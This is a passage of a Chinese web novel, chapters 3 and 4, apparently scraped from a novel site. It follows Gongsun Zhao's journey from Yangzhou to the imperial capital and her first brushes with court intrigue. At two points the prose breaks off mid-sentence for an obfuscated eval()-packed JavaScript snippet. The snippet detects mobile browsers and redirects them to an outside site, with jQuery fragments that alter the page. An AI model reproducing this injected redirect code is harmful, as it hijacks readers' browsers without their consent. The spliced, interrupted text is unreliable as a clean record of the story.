《铜雀春深锁二曹》 3. 第 3 章 天子膝下有四个孩子,赵庶人、江王、南平公主、清河公主。 清河公主作为幼女,向来最受母亲宠爱。 如今竟然当众吃了一耳光,实在叫人骇然。 江王回了王府,还惊讶不已地跟王妃裴氏说起这事儿来:“头一次看陛下当众这么折四妹颜面……” 江王妃低声道:“她也是糊涂,陛下向来都是不容别人违逆的。” 江王为之默默。 几瞬之后,又不由得纳罕:“四妹也是,公孙六娘进不进京,碍着她什么事儿了?何必那么大的反应呢。” 江王妃看他不明内情,便悄悄地提点了一句:“你仔细想想,四妹的公主府,旁边是什么地方?” 江王叫妻子说得一怔,仔细思忖了一下,不禁有些错愕:“公孙家?” 江王妃点了点头:“四妹年前就在御前走动,想着央求陛下开恩,把公孙府赐给她,到时候把那府宅一分为二,砌墙隔开,叫底下两个小的来住。” “她带着长子,住公主府,底下两个小的长大了,就住在隔壁,如此儿女几个既都在眼皮子底下,又不至于挤在一起,自家骨肉生出不快来……” 江王不由得叹了口气:“可怜天下父母心。” 江王妃应了声:“是啊。” 只是也有些奇怪:“年前我觑着陛下的神色,似乎是有些意动的,原以为只差一把火了,不想竟又改了主意。” 若是不叫公孙六娘上京,依照公孙预当年半个戴罪之身的身份,就把公孙府赐给清河公主,又能如何? 可天子既表明了思念旧臣的态度,一边传召旧臣之女上京,一边把人家的祖宅赐给自己的女儿…… 哪有这么办事的! 江王也不禁说:“这事儿倒真是有些奇怪。” 饶是内室里只有夫妻二人,江王妃还是下意识地瞧了瞧左右。 看没别人在,才低声道:“我听说,就在年关前后,姬家的人进京来拜见天子,似乎是说天象有异,紫微星动,不知是否与此事有关。” “你上哪儿听的这种话?不要命了!” 江王听得变了脸色,骇然道:“你想死,我还没活够呢!” 江王妃脸色也有些发白:“表姐在陛下身边做近侍学士,且也不是外人……” 再觑着丈夫的神色,小心地道:“这种关系,别人想要可都没有呢。” 江王听得一时意动,一时惊惧,踯躅良久,终于道:“这话你听过就忘了,也别专门打听,生出事来,大哥……赵庶人就是前车之鉴。” 当年的风波,江王妃也是亲眼见证过的,闻言亦是悚然,当下慌忙应了:“我知道了,你放心。” …… 扬州。 冷氏夫人有话要叮嘱女儿,公孙照又何尝没有话要叮嘱母亲? “我这一去,吉凶未定,消息传回扬州之前,娘最好还是少出门,少见人……” 公孙照加重声音:“尤其是从前的旧人,赶在这时候过来的,未必就是好意。” 略微顿了顿,又说:“若是遇上什么变故,就到顾家来寻义父义母,到底有些香火情在,只是若无必要,最好还是不要再过来了。” 冷氏夫人点头应了:“我晓得的。” 公孙照又说:“叫提提专心念书,就照着我当初读书的顺序来,天子既然点了我进京,想必此后吏部也不会再桎梏公孙氏族人出仕了。” 提到妹妹,她脸上露出笑来:“提提今年才十三岁,大好年华,人又能坐得住,完全来得及。” 冷氏夫人也应了。 母女俩各自说了会儿话,知道今晚还有别的事情要忙,便赶紧出去了。 公孙濛之妻康氏正在外边,见了冷氏夫人,赶忙福身行礼:“母亲。” 公孙照同样行礼,口称嫂嫂。 康氏带了丈夫的话过来:“夫君说这会儿有千言万语想同六妹讲,天都之事,乃至于那边的故旧亲朋,只是一时半会儿的,也想不起要从哪儿开始。” “他且陪着顾都督夫妻和姨母坐会儿,晚点回房,写在纸上,明日交给妹妹,路上带着细看,到了天都之后,再一一过去拜访,也就是了。” 冷氏夫人点头应了:“好。” 公孙照也说:“大哥心细如尘,做事妥帖。” 康氏脸上流露出一点忧色,压低声音,悄悄地指了指门外:“妹妹,顾三郎在外边等着呢。” 公孙照心下微沉,倒是笑了一笑:“我知道了,多谢嫂嫂。” …… 第二日清早,桂舍人才刚起身,女史碧涧便递了礼单过来:“顾都督准备了进献给天子的土仪,还有……” 她笑嘻嘻道:“顾夫人将公孙娘子认为义女了。” 桂舍人接过礼单,翻看几眼,不由得道:“顾都督老辣,顾夫人精明,真是天作之合。” 碧涧语气轻巧,居高临下道:“谁说不是?原是桩丑事的,就这么轻轻巧巧地揭过去了。” 又带着点看热闹的神色,兴奋不已地道:“早先在天都,就听说姜郡主中意顾三郎,只是顾三郎已有婚约,方才没能如愿,却没想到,原来顾三郎的未婚妻,就是公孙六娘!” “等公孙六娘到了天都,怕就有热闹可以看了!” 碧涧迫不及待道:“舍人,咱们什么时候启程?” 本朝惯例,会以母亲的姓氏来区分皇嗣、皇孙。 如江王郡主乃是姜王府侧妃姜氏所出,所以外人就以“姜郡主”称之。 桂舍人听碧涧这席话说得轻薄,却只作未闻,吩咐她说:“用过早饭之后,你亲自去问问公孙娘子,看她方便,总归今日是得动身的。” 碧涧应了声,早饭之后往顾家去走了一趟,很快回来:“公孙娘子说,随时都可以启程。” 桂舍人听得微怔,旋即失笑:“如此,那我们这就动身。” …… 辞别的话都已经讲过,拖拖拉拉,实在没什么意思。 马车驶出扬州城门,公孙照独自坐在车内,拆开长兄公孙濛送来的那封厚厚书信,看了几页,思绪却禁不住飘到了别处。 左肩传来隐隐的痛楚,她忍不住伸手去扶了一下。 合上眼,脑海中仍旧能够回忆起顾纵看她的眼神。 多情的,冷彻的,了然,又微微地含着一点嘲弄。 “小鱼儿,”他伏在她身上,在她耳畔如情人呢喃一般:“当你听闻天子传召你往天都去,要给你一个大好前程的时候,你心里究竟是在惶恐,还是在欣喜若狂?” 公孙照眼眸闭合,喘息着,拥着他的脖颈,叫他:“三郎……” 顾纵埋脸在她肩头,同样喘息着,低低地笑。 “阿照,我愿你此去顺心如意……” 他一口咬在她肩头,好像恨不能食肉寝皮:“你千千万万不要再回来对我投怀送抱!” 公孙照睁开眼睛看他。 那么漂亮多情的一双眼睛,好像含着一层雾气。 她将自己的唇贴上他的,依依地叫他:“……三郎。” “……没有打扰娘子吧?” 桂舍人的声音忽然间自车帘外传来。 公孙照回过神来,坐直身体:“怎么会?舍人折煞我了。” 桂舍人专程来解释及早出发这事儿:“不是我不怜惜娘子辞家别亲之苦,只是天子下令修葺凌烟阁,到太宗皇帝圣寿日,要率领百官前去观瞻。” “娘子作为文正公的后人,那日也得在,这日子有些紧,实在不能耽搁……” 太宗皇帝圣寿日。 公孙照略微推算,便明白过来:“只差不到二十天了。” 继而又道:“既然如此,若是舍人方便,咱们便舍弃马车,骑马赶路,如何?” 桂舍人见她反应机敏,又肯吃苦,心下不由得存了几分赞许,当下颔首:“便依娘子所言。” 公孙照便使人取了百两银子,请一众天都来使喝茶:“劳烦诸位走这一遭,天寒地冻的,好歹喝点热茶,暖暖身子。” 众人谢过她,也都受了。 公孙照又叫了冷氏夫人专门点了陪同她上京的潘家两个,一对四十出头、精明强干的夫妻来说话。 “潘姐,你是能骑马的,便随从我一起同行,叫潘姐夫在后边,跟随车队慢行。” 又取了三千两银票递给潘姐夫,交待他:“他们一行人还有车马辎重,乃至于地方官员进献天都的土仪,行程不会很快,因是天使,沿途也不会有人收缴税款。” “潘姐夫也是走南闯北过的人物,识见不俗,拿着这些钱,沿途置办些精巧东西,带到天都去,多少也是笔进项。” 再一思忖,又取了一千两给他,低声嘱咐:“要是同行的人也有想参一笔,出门在外,手上又不宽敞的,就借几分给他。” 潘姐夫知道自家娘子手里有钱,此番上京,冷氏夫人也好,大爷也好,怕都有所贴补,可即便如此,一次掏出来四千两,也实在不是个小数目。 更别说其中一千两还是预备着给人借的…… 他有些犹豫:“娘子,我只怕……” 公孙照断然道:“有什么好怕的?前怕狼、后怕虎,岂能成事!” 又放缓了语气:“有舍才有得。” 潘家夫妻对视一眼,毕恭毕敬地应了:“是,谨遵娘子之令。” …… 公孙照四岁那年遭逢巨变,此后跟随母亲一起离开天都,南下扬州。 此后整整一十三年,竟也从来没有离开过此处。 普天之下,莫非王土,又能到哪里去呢? 只是此时此刻,出了扬州城门,她回过头去,望着曾经看过千百次的风景,忽然间心绪百转。 扬州,扬州。 这里终究承载了她太多的过往和回忆。 但那毕竟都是已经过去的事情了。 她要往前看。 一行人骑马,经由官道赶路,出行三十余里,忽听身后传来急切的马蹄声,逐渐迫近。 公孙照起初也没在意,只当是有人赶路。 潘姐回身去看了一眼,脸色有些讶然,催马向前几步,悄悄叫她:“娘子,是顾家三郎。” 公孙照心弦如马蹄声一般急颤一下。 回头去看,顾纵已经到了近前,勒马停住,微微喘息着,注视着她。 他大概是匆忙追过来的,这么冷的天气,竟也没穿大氅。 今早公孙照起身的时候,他其实也醒了,只是闭着眼睛,不肯理她。 她知道他是在生气,他也知道她知道。 她夜里入眠,总不安生,所以成婚之后,一直睡在床榻里侧,想要下去,都得途经过他。 公孙照原是尽量放轻动作,不触碰到他就下床的。 只是看他闭着眼睛不肯理会自己,究竟还是没能忍住,故意踩了他一下。 她眼看着顾纵闭着眼睛咬紧了下颚,然后收了收长腿,给她让出了位置。 公孙照忽然有些歉疚。 可是该说什么呢? 她默不作声地下了床,顾纵又翻个身,背对着她,脸朝床榻里头了。 这就是他们分别前见过的最后一面。 公孙照知道他的气苦,知道他的怨恨。 她只是没想到,他会再追上来。 四目相对,饶是她向来长袖善舞,一时之间,竟也不知道该说什么了。 桂舍人平静地瞧着这一幕,叫了她一声:“公孙娘子?” 所有人都看着他们俩。 公孙照回过神来,拱手向她行了一礼:“请舍人先行,不要为我延误,我二人言语几句,我便催马追上。” 桂舍人目光在这对年轻男女脸上扫过,笑了一声,并没有为难她:“既然如此,我就在前边恭候了。” 她一催缰绳,身下的坐骑慢慢向前,众人各怀心思地瞧了眼,也都跟上。 公孙照回过脸去,踯躅着抬起眼眸:“你……” 顾纵脸上萦绕着一层冬日雾气般的冷白,只是因为催马急行赶路,呼出的雾气却是热的。 他扯下马背上的褡裢,丢给她:“拿着。” 公孙照下意识地一抬手接住。 顾纵勒住缰绳,调转马头:“天都风云莫测,却与扬州不同,你……罢了!” 他冷笑了一声:“这话跟义妹你说不着!” 略微顿了顿,又说:“禁中遍植杨柳,马上就开春了,你受不得杨花柳絮,自己多仔细着。” 公孙照怀抱着那只褡裢,五味杂陈地看着他。 顾纵也看着她,眼底有转瞬的恻然。 而后他垂下眼睑,瞟一眼桂舍人一行逐渐远去的身影,抬手一鞭,抽在她的坐骑上! “公孙照,你走吧。” 公孙照已经记不起他上一次这样连名带姓的称呼她,是什么时候了。 身下的坐骑得到了命令,达达向前。 顾纵的声音夹杂着冬日的冷阳里,传进她的耳朵:“到天都,追你的大好前程去吧!” …… 公孙照一行人舍弃马车,轻骑赶路,庐州、寿州之后,终于下榻颍州。 进城之前,她提早向桂舍人告了假:“我今晚怕得抽个把时辰出去才好。” 桂舍人不解其意:“娘子何出此言?” 公孙照这才告诉她:“我二姐嫁去了花家,如今花家姐夫正在做颍州长史,既然途经此地,必然得去拜会才是。” 桂舍人明白过来,愈发觉得公孙氏人品贵重。 虽说是至亲姐妹,但耐不住年岁上差得多了。 公孙二娘出嫁的时候,公孙氏大抵还在孩抱之年,又经历了家门败落,随从冷氏夫人退居扬州,总共才见过几回? 难为她居然还记得这个姐姐。 途经此地,专程拜会,怕也是存了一点在花家面前为她做脸的意思。 因公孙氏为人妥帖,桂舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831999|191183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人倒也愿意送个顺水人情,点了一行禁卫随从。 又因她先前打点得周到,禁卫们也很情愿。 桂舍人因而又觉出公孙氏的一点妙处。 只怕出行之初,她就打定这个主意了,是以早早地打点了天都来使们,这会儿再用起人来,人家也都愿意帮衬。 此时天色已晚,公孙照叫潘姐等人陪着,一路寻到花家门外,花家众人正用晚饭。 忽然间门房满头大汗来禀:“外头来了好些人,高骑大马,好不煊赫,说是六姨奉圣谕上京,途经颍州,特来拜会二姐!” 一时间把花家惊了个人仰马翻。 花姐夫慌忙跟公孙二姐出迎。 才走出去不远,却见人已经进了内门,远远瞧见,先自行礼,口称“姐姐,姐夫”。 夫妻两个忙不迭又还礼。 定睛去看,端是十分人才,风流标致,秀逸天成。 公孙二姐也是三十五、六岁的人了,因诸多变故,脸上已经有了风霜之色。 公孙照拉着她的手,殷殷叙话:“我跟娘都记挂着姐姐,临行之前娘还再三嘱咐,到了颍州,一定得来瞧瞧姐姐……” 又叫人把自己带的扬州土仪,绸缎、点心,交付给花家管事。 短短几句话,说得公孙二姐眼泪都出来了。 花姐夫在旁,忙问六姨用过饭没有,又赶忙催促着仆从再去置备,分外殷勤。 公孙照谢过他:“姐夫客气,这些年你照顾姐姐,我还没来得及谢你呢!” 花姐夫只是笑:“六姨这话说得忒客气,叫人惭愧。”又催着进屋去坐。 不多时,厨下匆忙送了膳食过来。 烧肥鸭、水晶鹅、糟鲥鱼、醋烧白菜,另有酿豆腐和甜酱瓜,并一壶陈酿。 花姐夫请她上座:“太简陋了些……” 公孙照推辞,请他上座:“姐夫有心,不能再周到了。” 如是宾主尽欢,吃喝之后,便道了辞别。 临行之前,公孙照又说:“二姐可有话想跟三姐、五哥说?” “若是有,便写成信,明日天亮时分送去驿馆,我急着上京,明日就不来辞别姐姐、姐夫了。” 公孙二姐含泪拍了拍妹妹的手,应了声:“好。” 花姐夫连连说:“皇差要紧,皇差要紧,千万别耽误了大事!” 夫妻二人,殷殷地送了她出去。 彼时已经是夜半时分。 公孙照又取了银钱,给同行的禁军队率,笑道:“诸位大哥辛苦,且拿去吃酒,作个消遣。。” 对方推辞几句,见她实心要给,谢过之后,便也收了。 公孙照进得驿馆,几间上房都亮着灯。 女史碧涧听见动静,推开窗户来瞧。 这会儿就支在窗户上,似笑非笑地问:“公孙娘子,你真是个泥团性子,成婚的时候,你这姐姐可打发人去给你送贺礼了?” 公孙照神色自若:“这是自然。” “瞎说,”碧涧一抬眉毛,斜睨着她:“我都打听过了,没有!” 公孙照只觉好笑:“女史这话说的,我们家的事儿,外人怎么知道?” 又道:“谁说没送的?您叫他来跟我分辩。” 碧涧见状嗤笑一声,颇觉没趣儿:“死鸭子嘴硬,哼!” “啪”一下,将窗户关上了。 公孙照笑吟吟地瞧着那扇紧闭的窗户,几不可见地摇了摇头。 这位女史瞧着也是快三十岁的人了,又在内廷当差,怎么嘴上连个把门的都没有。 她要往自己房里去。 桂舍人就在这时候推开窗户,笑着朝她招了招手:“娘子要不要到我这儿来吃杯茶,解解酒?” 公孙照心下微动:“恭敬不如从命。” 碧涧也听见了,大抵是不高兴,隔着窗户,在房里说给她们听:“好会钻营,拿我做筏子邀好,打量着谁看不出来?” 桂舍人眸光微微一暗,此时却只当是没听见。 公孙照自然也如是为之。 …… “碧涧是尚功局出来的,又跟陈尚功格外要好,所以性子有些骄纵,以后你就知道了。” 桂舍人说着,浅浅地给她斟了杯茶。 公孙照谢过她,又禁不住道:“陈尚功?这个‘陈’……” “你真是聪明人。” 桂舍人赞许地看了她一眼:“陈尚功的‘陈’,跟陈贵人的‘陈’是同一个,她是郑国公的长孙女,陈贵人的亲侄女……” 公孙照知道,当年高皇帝开国,设置了十二家公府,只是后来有三家公府因附从隐太子作乱而被族诛,到如今,便只留下了九家世袭公府。 郑国公府陈氏,便是其中的一家。 本朝后妃制度,皇后之下有三夫人、九嫔。 而三夫人,指的便是贵嫔、夫人与贵人。 桂舍人似乎听到了她的心声,笑吟吟地告诉她:“如今六宫无主,陈贵人就是后宫之中位分最高的了。” 陈尚功是陈贵人嫡亲的侄女,碧涧是陈尚功的心腹。 难怪会骄纵了。 因为的确有些骄纵的本钱。 倒是桂舍人将此事告知于她,大抵也是存了示好,甚至是招揽她的意思了。 公孙照心里明白,只是不明天都近况,便只作不知,不显露出自己的态度来。 她无话可说,桂舍人倒是真的有点好奇。 “娘子真是仁厚人,”她说的是公孙照专程往花家去探望公孙二姐的事情:“以德报之。” 桂舍人也知道,公孙二姐在公孙照的婚事上毫无表示,大概率是真的。 只是,又有什么必要大喇喇地掀开? 徒然与人不快罢了。 公孙照轻轻说:“姐姐也有她的难处。且大哥待我宽厚,尽了骨肉情分,上行下效,如此而已。” 公孙家没落多年,一朝终于有了起色,公孙照需要自己人。 不信姓公孙的,难道去信外人? 公孙濛留给她的信封里,不只有他连夜写就的数十页书信,还有五千两的银票。 公孙照明了他的好意,所以也愿意投桃报李。 且她也有把握,能拿得起公孙家的人来。 因为她不仅仅有自己,还有阿娘。 虽然是继室夫人,虽然实际上大哥跟阿娘同岁,但娘就是娘。 孝道二字压下来,上边的兄姐都得低头! 公孙照有时候也会想起顾纵。 想他俊美的脸,想他结实的臂膀,想他们皮肉贴在一起,汗津津,痴缠缱绻的好时光。 想他焦灼催马,追赶上来,带给她的一万两银票和几封引荐的书信。 想起他问她的那句话。 她没有回答,但是她自己知道答案。 没有惶恐。 是欣喜若狂。 公孙照要到天都去。 公孙照绝不后悔! 4.第 4 章 第二日公孙照起身出门,便有驿丞毕恭毕敬地送了书信过来。 再一问,才知道天还未亮,花姐夫便送了书信并好些颍州土仪来。 公孙照心道花姐夫上道,不免又取了些分润给同行众人。 彼时天光渐亮,驿馆外也开始有了车马声。 她瞧着桂舍人和女史碧涧还未起身,估摸着还得有些时辰才能用早膳。 略微思忖之后,便顺势将书信收到袖子里,往客舍之外去散步,潘姐在旁边陪着。 一来二去的,绕到了马棚,相隔一段距离,就瞧见两个年轻禁卫正结伴侍弄马匹。 公孙照微觉讶异:“怎么不让驿馆的人来做?” 按理说,这该是驿馆的差事。 那高一些的叹口气,摇头道:“戚队率不许外人经手坐骑,这些事情,向来都是我们自己做的。” 公孙照心下颇奇:“一路上都是这么做的?” 那矮一些的道:“从来都是这么做的。” 公孙照这才在常规之外,格外地多注意了戚队率几分。 其人年约四旬,身量魁梧,络腮胡,不喜言笑。 她心下生出了几分计较,只是此时此刻,暂且按下不提。 …… 因昨晚的几句口角,碧涧颇有些不快,再见了公孙照和桂舍人,脸色便不很好看。 偶尔交谈,也夹枪带棒。 公孙照只做不知,笑着含糊几句,糊弄过去,也就是了。 桂舍人虽官位高于碧涧,但似乎也不愿跟她撕破脸,同样笑一笑,不与她过多纠缠。 如是启程赶路,扬鞭北上,自不必提。 太宗皇帝的圣寿在正月二十三日。 而公孙照一行人,提前五日,赶在正月十八抵达天都。 城墙辽阔,望楼高耸,相隔数里,便能看得清楚。 公孙照放眼去看,倏然间有种热泪盈眶的冲动。 自多年前阿耶辞世,她跟随母亲一起离开天都,去往扬州,尔来整整十三年了! 心中虽是百感交集,但真的纵马跨过,其实也不过一瞬。 桂舍人极漂亮地了结了一桩差事,又自觉跟公孙娘子缔结了不错的情分,心下志得意满。 进了天都城之后,脸上的神色都跟着放松了下去。 她还有心思跟公孙照讲解:“你该知道,高皇帝立国之初,定都京师,那里后来又被称为神都,而此地则被称为东都。” “再之后,太宗皇帝平定东夷,捎带着将帝国的中枢迁移至此,臣下进言,再称呼东都,似乎就有些不太合适了。” “太宗皇帝遂较神都减一等,令称东都为天都,以示不敢与皇母比肩……” 公孙照面露了然:“原来如此。” 碧涧在旁,禁不住淡淡地道:“桂舍人,你这话说得可真多余,公孙娘子也是在天都城里长大的,难道会不知道?” 说完,再瞧一眼公孙照,笑盈盈道:“公孙娘子,你说是吧?” 公孙照眼看着旁边桂舍人很轻微地抿了下嘴。 她好脾气地笑了笑:“女史不要取笑,舍人言说之前,我还真不知道内中缘由。” 碧涧并不信她这话,撇了撇嘴,哼一声,没说话。 …… 公孙照受天子传召进京,觐见之前,照例要先往鸿胪寺去录名。 捎带着,也会分派暂居的屋舍,乃至于安置行装。 桂舍人领着她过去,又叫碧涧回宫去复命。 公孙照此番进京,因是天子之令,到了鸿胪寺之后,自然是一路畅通。 倒是在录名之后,那主簿知晓来客身世,很快去请了上官来说话。 公孙照见此人着深绯色官袍,金带十一銙,便知是官居四品。 又在鸿胪寺内,想必是两位少卿之一了。 当下赶忙道:“敢问如何称呼?” 那少卿说话也很和气,行个平辈礼,而后道:“公孙娘子客气,免贵姓杨,字士云,崇庆三年中榜。” 因这中榜的年份,公孙照便知道,原来阿耶是他的座师。 当下朝他颔首,叫了声:“原来是杨师兄。” 杨士云见她通达,脸上的笑容便深了几分。 还礼之后道:“师妹既在鸿胪寺安置,便是到了自家的地方,若有不趁手的,只管使人来找我。” 说着,指了方才录名的主簿与她介绍:“这是主簿张懋。” 张懋赶忙行礼,口称娘子。 公孙照笑着谢过他:“师兄放心,我一定不跟你客气。” 杨士云笑道:“原该如此。” 就此别过。 行装搁下,禁军的差事便了了一半。 公孙照想着到宫门前说话不便,走出鸿胪寺之后,方才催马往戚队率面前去,送了张百两的银票给他:“一路辛苦,队率且与众弟兄吃杯酒来解乏。” 戚队率不肯收:“差使在身,原都是应有之份,且一路上已经领受了娘子许多。” 公孙照便道:“不单是给队率的,也是给其余弟兄们的,您不要,拿去分给他们便是了。” 戚队率略顿了顿,这才朝她抱拳行礼,领受了。 桂舍人在旁瞧着,愈发觉得这年轻娘子难得。 要说这些年公孙家落寞了,这是真的。 但说是贫寒不堪,却也远不至于。 只是这一路上,眼瞧着她施恩结交,花钱如流水一般,这等手腕气度,即便是顶尖高门,怕也没几个能养出来的。 天都一行人,除了碧涧心里不快之外,剩下的,谁不满口称赞公孙娘子的好处? 公孙相公的女儿受召进京,身后又隐隐地牵着赵庶人的因果,不知道有多少人急着打探她的消息。 这会儿早早地把同行之人打点周到,却不知会省却多少麻烦! 公孙照协同桂舍人一道,一路到了宫门前,禁卫核对过门籍之后放行,仍旧是桂舍人领着她前去见驾。 一路到了含章殿外。 桂舍人叫她在此暂待,自己往内殿去通禀。 公孙照等了约莫半刻钟,虽没有消息传出,却也不敢有所懈怠。 恰在此时,却听身后有人叫了一声:“公孙照?” 公孙照心下一动,回过身去。 却见是个十三、四岁的少年,白袍玉带,富贵天成。 一双桃花眼,上下将她看了一遍,似笑非笑道:“我听说,你刚得了皇祖母传召,就抛下新婚的丈夫,迫不及待地上京来了?” 公孙照先行一礼:“敢问贵人如何称呼?” 那少年笑而不语。 倒是跟随他的侍从道:“这是昌宁郡王。” 原来是天子幼女清河公主的长子。 心下又不免叫屈:我与他无冤无仇,初来乍到,何必来为难我? 公孙照不免又行礼,称呼一声:“昌宁郡王安。” 昌宁郡王冷笑了一声:“公孙照,我之前所说,你因何不答,这就是公孙家的家教吗?” 公孙照定一定神,面露茫然:“郡王恕罪,只是我却不知,您那话从何说起?” 昌宁郡王叫她说得疑惑:“什么?” 却听公孙照道:“什么抛下新婚的丈夫,什么迫不及待上京?我不知这话从何说起。” “好个厚颜无耻之人!” 昌宁郡王不可置信,满脸鄙薄地瞪着她:“你抛夫上京,板上钉钉、真真切切发生过的事情,竟然还敢在本郡王面前抵赖?!” 公孙照神色不解:“我不知道您是从哪里听到了这些荒唐话,真是惶恐……” 昌宁郡王勃然大怒:“你怎么敢——” 高处似乎传来了一声呼唤。 昌宁郡王怔楞了几瞬,才意识到那并不是幻觉。 “……郡王,陛下叫您进去说话呢。” 昌宁郡王眉头紧皱,抬头看了一眼,脸上桀骜之色大消:“明姑姑。” 公孙照也看着那女官。 她约莫五十岁上下,宫装加身,两鬓微白,头发梳得齐整,发间只插了一支梅花簪。 是天子的心腹女官吗? 明姑姑似有似无地看了她一眼,什么都没说,便领着昌宁郡王进去了。 殿外重又恢复了一开始的冷寂。 …… 含章殿外天寒地冻,殿内倒是春意融融,暖香扑鼻。 天子正跟人下棋,兴致盎然,四下里众星捧月似的围着一群人。 听见人进来,她也没分一缕眼神过去,仍旧盯着棋盘,只问了句:“怎么回事?朕听着外头那么吵。” 明姑姑微笑不语。 昌宁郡王脸上紧接着又生出了几分愤色:“皇祖母,您不知道那个公孙六娘有多可恶!” 他气恼不已:“我说她为富贵抛夫上京,她居然还敢狡辩——” 天子指间随意地捻着一枚棋子,漫不经心地问他:“她抛夫上京,你怎么知道的?” 昌宁郡王因而语滞。 短暂地噎了一下,又觉得这不是什么大事,索性便说了:“碧涧跟我说的啊!” “她跟桂舍人过去的时候,正赶上公孙六娘成婚几日,她看得真真的,什么顾家义女,都是搞出来掩人耳目的!” 天子这才扭了下头,带着点讶色,看侍立在下边的桂舍人:“什么,有这回事?” “陛下,绝无此事!” 桂舍人慌忙跪地:“臣抵达扬州的时候,公孙娘子是在顾家不假,可那是因为她被顾夫人认为义女,什么嫁娶……根本就是无稽之谈!” 昌宁郡王勃然变色:“你胡说!碧涧明明说——” 桂舍人神色不解,茫然道:“回禀郡王,臣,臣也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836304|191183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道碧涧她为什么要这么说……” 昌宁郡王涨红了脸。 清河公主禁不住暗吸了口气。 江王妃眉头皱起来一点:“那丫头平日里看起来机灵,这回怎么犯了糊涂?” 她觑一眼天子的脸色,小声道:“不知道的,还以为陛下您多不仁慈,要拆散一对眷侣,毁人姻缘呢……” 清河公主冷冷瞟了她一眼,哼笑道:“二嫂,我怎么听着,你这话像是要挑唆是非呢。” 江王妃垂眸不语。 天子倒是脸色如常:“好了,一家人,吵吵嚷嚷的,像什么话?” 又说昌宁郡王:“你的性子就是太急躁,像你娘,听风就是雨。” 再一撇眼,便见窗外杨树的干枝透过半开的窗,在风中轻微的晃动。 天子皱起眉头,摆摆手,吩咐侍从:“去,把含章殿周围的杨树都砍掉,晃得叫人心烦。” 略微顿了顿,又加了一句:“柳树也都砍掉。” 众人听得不明所以,只当是天子心中不快,愈发畏惧起来。 昌宁郡王低着头,小声道:“皇祖母教训的是……” 清河公主也觉得脸上讪讪的:“也是小人搬弄口舌,他才误会了公孙娘子……” 又叫儿子:“还不出去给公孙娘子赔礼?” 昌宁郡王吃了一惊,面露羞愤:“娘?!” 清河公主冷下脸来,呵斥他:“蠢材,还不快去?!” 昌宁郡王这才不情不愿地出去了。 殿内忽然间传来了一声轻笑。 “……得多谢公孙娘子襄助,外甥侥幸赢了。” 天子初听微怔,捻着棋子,低头瞧过,不禁失笑。 她将手中棋子放回棋盒:“输了。” “是姨母可怜外甥。” 说着,那人双手往天子面前一伸:“您是什么人物?可不能跟小辈儿赖账啊!” 天子哼笑了一声,倒真是解下腰间玉佩,丢了过去:“奸猾!” 清河公主已经迅速将先前之事掀了过去,笑吟吟地过去凑趣儿:“娘再跟他下一局,先前是借了娘分神的光,如若不然,俊含未必能赢!” 这话还没说完,坐在天子对面那人已经将棋盘一推一抹,迅速站起身来:“不成不成,见好就收,再不走,怕得输个倾家荡产!” 惹得殿内众人齐齐都笑了起来。 天子也在笑,且笑得比之前真切得多:“去吧,崔行友不中用,俊含,中书省那边儿,还是有你盯着,我才放心。” 韦俊含的神色因而郑重起来,敛衣行礼,毕恭毕敬地应了声:“是。” 再后退几步,同皇亲们颔首致意,转将出去。 近侍们提前将门扉打开,外间的风波涌入些许,吹动了他身上的紫袍,也叫他眉宇间隐藏的思忖,短暂地真切了几个瞬间。 …… 公孙照没等到天子的传召,倒是等来了不情不愿过来致歉的昌宁郡王。 “之前是我有所冒犯,还请娘子勿怪……” 至此,公孙照心头已是一片明亮。 先前,明姑姑恰到好处地出来打断了昌宁郡王接下来的行径。 而昌宁郡王在见驾之后,竟然肯低下高贵的头颅,同自己致歉。 天子之心,毕竟在她。 心里有底,自然不慌。 她微微一笑,摇头道:“并不妨碍,误会解开了就好,郡王不必放在心上。” 如此和颜悦色,倒是搞得昌宁郡王心生疑窦:“难道真的碧涧在说谎?” 又觉不解:“她为什么要骗我?” 他身旁还有清河公主的近侍女官,闻言几乎立时便告诫道:“当然是碧涧在撒谎!” 她轻声说:“郡王,陛下是永远都不会错的。” 碧涧。 公孙照心念微动:“碧涧她……” 那女官看她一看,语气寡淡:“搬弄口舌是非,陛下下令,割掉了她的舌头。” 割掉了她的舌头…… 一股寒风裹挟着隆冬里的冰雪,倏然间吹过了公孙照的心头。 在殿外长久等待的凉意,终于在此时此刻尽数涌了过来。 公孙照轻吸口气,没有言语。 一只飞鸟自寂静的半空之中掠过,在那光华璀璨的琉璃瓦上短暂停驻,继而重又振翅,飞向更远的天际去了。 公孙照心有所动,抬眼去看,便见殿外栏杆前有一人负手而立,紫袍玉带,佩金鱼袋,因是逆光,看不清其人面容。 那人在看她。 她几不可见地蹙了下眉。 昌宁郡王与那女官有所察觉,看了一眼,旋即又将目光收回。 想必是认识的。 公孙照顿了顿,低声问他们:“那位是……” 昌宁郡王告诉他:“那是中书省的韦相公。”